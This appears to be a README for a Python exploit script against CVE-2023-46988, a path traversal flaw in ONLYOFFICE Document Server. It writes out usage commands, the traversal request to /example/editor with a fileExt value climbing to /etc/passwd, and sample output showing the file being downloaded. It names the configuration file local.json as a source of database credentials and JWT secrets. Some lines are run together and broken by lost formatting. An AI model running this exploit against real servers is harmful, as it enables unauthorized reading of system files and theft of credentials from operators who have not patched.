
CVE-2023-46988: ONLYOFFICE Path Traversal Exploit
This script exploits a path traversal vulnerability in ONLYOFFICE Document Server (CVE-2023-46988) that allows unauthorized users to copy arbitrary files from the server. The vulnerability exists in the /example/editor endpoint, where the fileExt parameter can be manipulated to access sensitive system and configuration files.
This tool is for educational and authorized security research purposes only.
Unauthorized use against systems without explicit permission is illegal and unethical.
/etc/passwd/etc/onlyoffice/documentserver/local.json (contains database credentials & JWT secrets)--file argument.--proxy).--verify).python onlyoffice_exploit.py http://localhost
This retrieves:
/etc/passwd/etc/onlyoffice/documentserver/local.json/etc/hosts)python onlyoffice_exploit.py http://localhost --file /etc/hosts
127.0.0.1:8080)python onlyoffice_exploit.py http://localhost --proxy
python onlyoffice_exploit.py http://localhost --proxy http://127.0.0.1:8080
python onlyoffice_exploit.py https://example.local --verify
python onlyoffice_exploit.py https://example.local --file /etc/hosts --proxy --verify
/example/editor with a malicious fileExt parameter:
GET /example/editor?fileExt=../../../../../../../../etc/passwd
/example/download?fileName=<extracted_filename>.[*] Target URL: http://localhost
[*] Attempting to retrieve: /etc/passwd
[*] Sending request to: http://localhost/example/editor?fileExt=../../../../../../../../etc/passwd
[+] Extracted Redirect URL: http://localhost/example/download?fileName=.passwd
[+] Extracted File Name: .passwd
[*] Downloading file: http://localhost/example/download?fileName=.passwd
[+] File downloaded successfully: .passwd
ONLYOFFICE has patched this vulnerability in their February 2024 update.
Users should update to the latest version to protect their servers.
This project is licensed under the MIT License – see the LICENSE file for details.